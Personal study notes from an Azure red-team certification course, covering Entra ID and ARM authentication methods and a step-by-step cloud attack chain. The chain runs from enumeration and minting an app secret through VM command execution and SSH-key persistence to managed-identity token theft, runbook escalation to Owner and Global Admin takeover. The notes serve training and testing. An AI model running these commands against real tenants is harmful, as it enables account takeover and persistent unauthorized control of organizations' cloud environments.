First of All

Before Thinking of Attacking Azure

Ok, now u can start to look

Important Clarification

it’s confusing but here we go

As Housec well said in his POST.

Think of Azure AD as the Authentication part of Azure and Office 365. If someone says only Azure, they are talking mostly about Resources

AzureAD == EntraID == Authentication / Identification

Azure == Resources / Subscriptions

AzureAD != Azure

You may ask: Why it’s important to differentiate?

  • Its important because their Access and Permissions are separated!
  • In Azure terms: Permission is a Role, and their access control is Role-Based (RBAC)
  • Lets say you have an Access to something in AzureAD, it does not give you Access with the same Role in Azure! (This goes both ways!)
  • These Roles define what you can and cannot do with certain objects
  • But again, their permission is Separated.

I think that’s why they changed from AzureAD to EntraID

Other thing - Tools

Because of that, It makes the tools a bit confusing too.

Some tools can access only the Resource side and others only the EntraID side

For example:

  • az cli = Can manage Azure resources
  • Az PowerShell module (Replaced the AzureRM and Azure module) = Can manage both
  • AzureAD PowerShell module = Can be used for EntraID and o365 (but its Available only Until june 2025)
  • MSGraph Module - is an API wrapper for MSGraph API (it replaces AzureAD) - The usability is the same - EntraID and o365 Services

I said it was confusing lol. Anyway, lets go for the Notes

Introduction

Portals

Credentials

  • User + Password = Long Term Access
  • Service Principal (App ID + Password or Certificate) = Long Term Access
  • Access Token (Account ID + Access Token) = Short Term Access

CLI Tools

  • AZ (Cross Platform)
  • Az PowerShell
  • Azure-AD PowerShell
  • MsOnline PowerShell
  • MSGraph Powershell

Authentication Methods in Azure and Azure AD

Tool/Method Description Command/Code Example
Azure CLI    
Interactive Login Login interactively using web browser az login
Service Principal Login using a service principal az login --service-principal --username <app-id> --password <password-or-certificate> --tenant <tenant>
Managed Identity Login using a managed identity az login --identity
Device Code Login Login using a device code az login --use-device-code
Azure PowerShell    
Interactive Login Login interactively using web browser Connect-AzAccount
Service Principal Login using a service principal powershell $secPassword = ConvertTo-SecureString "your-password" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential ("app-id", $secPassword) Connect-AzAccount -ServicePrincipal -Credential $creds -TenantId "tenant-id"
Managed Identity Login using a managed identity Connect-AzAccount -Identity
Device Code Login Login using a device code Connect-AzAccount -UseDeviceAuthentication
Azure AD    
Interactive Login Login interactively using web browser Connect-AzureAD
Client Credentials Login using client credentials powershell $tenantId = "your-tenant-id" $clientId = "your-client-id" $clientSecret = "your-client-secret" $body = @{ grant_type = "client_credentials" scope = "https://graph.microsoft.com/.default" client_id = $clientId client_secret = $clientSecret } $response = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body $body $token = $response.access_token # Use the token to make authenticated requests to Microsoft Graph $headers = @{ Authorization = "Bearer $token" } $graphApiUrl = "https://graph.microsoft.com/v1.0/me" $user = Invoke-RestMethod -Uri $graphApiUrl -Headers $headers $user
Managed Identity Login using a managed identity powershell $response = Invoke-RestMethod -Method Get -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com" -Headers @{Metadata="true"} $token = $response.access_token # Use the token to make authenticated requests to Microsoft Graph $headers = @{ Authorization = "Bearer $token" } $graphApiUrl = "https://graph.microsoft.com/v1.0/me" $user = Invoke-RestMethod -Uri $graphApiUrl -Headers $headers $user

API Connections

  • Azure-AD > portal.azure.com > Azure AD = API graph.microsoft.net - [in the future Connect-MgGraph]
  • AZ CLI and Az PowerShell > portal.azure.com > ARM = API management.azure.com
  • REST API > M365 = API graph.microsoft.com

Alt text

Enum

Azure Active Directory (Azure AD) is Microsoft enterprise cloud-based identity and access management (IAM) solution

Azure AD is the backbone of the o365 system, and it can sync with on-premise AD and provide authentication to other cloud-based systems via OAuth

Azure AD

  • Users
  • Groups
  • Devices
  • App Registration
  • Enterprise App (Service Principal)
  • Roles (Used to manage objects)

Azure Resource Manager (ARM)

  • Its the native platform for infrastructure as code (IaC) in Azure
  • Provides Infrastructure as a Service (IaaS), Platform as a service (PaaS) and Software as a Service (SaaS)
  • Azure ARM manage access control by RBAC

Red Team Operations

Objectives

  • Global admin
  • Owner permission on Azure subscriptions
  • Exfiltration Critical data / Information
  • Ransomware activities simulation
  • Crypto mining simulation
  • High value targets office ccount access

Starting Recon

Public available sources

  • DNS Records
  • Sub-Domains mapped to azure
  • Leaked Programmatic Credentials [Service Principal - AppID & Secret / Certificate ]
  • Compromised Credential [Dark web]
  • Employee Information [Email, Designation ]

Use AAD OSINT to get info

Use MicroBurst to enum subdomains, blob storage

Found credential? Try to access AAD and ARM

  • AAD can be accessed with AzureAD and MSGraph
  • ARM can be accessed with Azure CLI
  • If the credential can be logged, the user does not have access

in AzureAD

Get the objID:

Get-AzureADUser -SearchString user

To show permissions of the user:

Get-AzureADUserMembership -ObjectID <objID> | ConvertTo-Json

Next STEP? Look for Applications!

Get-AzureADApplication
Get-AzureADApplicationOwner -ObjectId <objID>

What sort of permissions the user have on the App?

$app = Get-AzureADApplication -ObjectID <objID>
$app.RequiredResourceAccess | ConvertTo-Json -Depth 3
# result would be the permissions in Graph API

For User or SP - check Directory Role For App - check API permissions

API Permissions:

$sp = Get-AzureADServicePrincipal -All $true | Where-Object {$_.AppId -eq ‘<Resource appID>’}
$sp.AppRoles | Where-Object {$_.Id -eq ‘<Id from ResourceAccess>’}

In this case we have Role Management Permission, which allow us to escalate privileges by creating credential to the Directory Role

Get the Secret :

New-AzureADApplicationPasswordCredential -ObjectID <objID of the Application>

Get the Tenant ID:

Tenant Info

Authenticate with the NEW Crendential:

az login --service-principal -u <App ID> -p <secret generated> -t <tenant ID>

Now we have access to the subscription, it means not only to the Azure-AD as before, but also for the ARM. That is why we could login with AZ CLI without problems

You are logged with new credential? Check the permissions!

Now we can check with AZ CLI:

az role assignment list
az role assignment list --assignee Application ID = same that we use in the -u of az login
az role assignment list --assignee Application ID = same that we use in the -u of az login -All

In this case, the user has VM-RunCommand access to a VM. We can use that for lateral movement

List VMs:

az vm list
az vm list-ip-addresses --resource-group <RESOURCE GROUP> --name <VM NAME> 

Execute Command:

az vm run run-command invoke --resource-group <RESOURCE GROUP> -n <VM name> --comand-id RunShellScript --scripts id && hostname && whoami && cat /etc/passwd

Lets add Persistence!

Generate a SSH-Key in your machine:

ssh-keygen.exe

then copy the .pub to the target machine:

az vm run-command invoke --resource-group <> -n <> --comand-id RunShellScript --scripts echo ssh-rsa-key ... >> /home/user/.ssh/authorized_keys

Access the VM via SSH:

ssh -i <private key> user@ip

Inside the target VM? What to do?

  • You can grab the token!

To do that u can install the AZ CLI, other tool, call the API directly or retrieve from metadata endpoint

Install AZ CLI:

curl -L https://aka.ms/InstallAzureCLIDeb | sudo bash
az account list

If there is a managed identity attached to this account we can authenticate with:

az login --identity

In this case, its a SYSTEM IDENTITY

Grab the principalId with az vm list

Check the Role Asssignment for this Identity:

az role assignment list --assignee “<the principalID of the VM = which works as a object ID because its a System identity>” --all

We found that the Identity has Role: Contributor it can be checked in the RoleDefinitionName option

Contributor is like Editor in GCP. Except from Role Assignment it can do everything

Enumerate Automation Account - its a path to escalate to Owner:

az automation account list

Enumerate Identities:

az identity list

Grab the principalID of the identity and check the Role Assignment:

az role assignment list --assignee “<principalId>” --all

Perform Operation on Automation Account

List runbook:

az automation runbook list --automation-account-name “<name>” --resource-group “<RG>”

AutomationAccountPrivesc.ps1

# Exemple of runbook

# Enable appropriate RBAC permissions to the system identity of this automation account. Otherwise, the runbook will fail

try
{
  Connect-AzAccount -Identity
}
catch {
  throw $_.Exception
}

# Get all ARM resources from all resources groups
New-AzRoleAssignment -ObjectId objID of your user -RoleDefinitionName Owner -Scope /subscriptions/<subscription ID>”

Now create a runbook and upload the powershell code to be executed

az automation runbook create --automation-account-name ... --resource-grouop ... --name privesc --type Powershell --location East US
az automation runbook replace-content --automation-account-name ... --resource-group ... --name privesc --content AutomationAccountPrivesc.ps1
az automation runbook publish --automation-account-name ... --resource-group ... --name privesc
az automation runbook show --automation-account-name ... --resource-group ... --name privesc 

Invoke the runbook:

az automation runbook start --automation-account-name ... --resource-group ... --name privesc 

After some time, check the role assignment of the modified user to see owner privilege added:

az role assignment list --assigne objID of the user --all

[NOTE] With Role Management Write, u can write your user to any group including GA

but for that… To authenticate on behalf of applications (SP) u need to generate a certificate in order to log using AzureAD utility

With this access u can simply add yourself as Global Admin with this command:

Get-AzureADDirectoryRole
Add-AzureADDirectoryRoleMember -ObjectID <objID of GA> -RefObjectId <objID of your user>

This is my notes of the Azure part of the Hybrid Multi-Cloud Red Team Specialist [CHMRTS] from CWL. Check their content.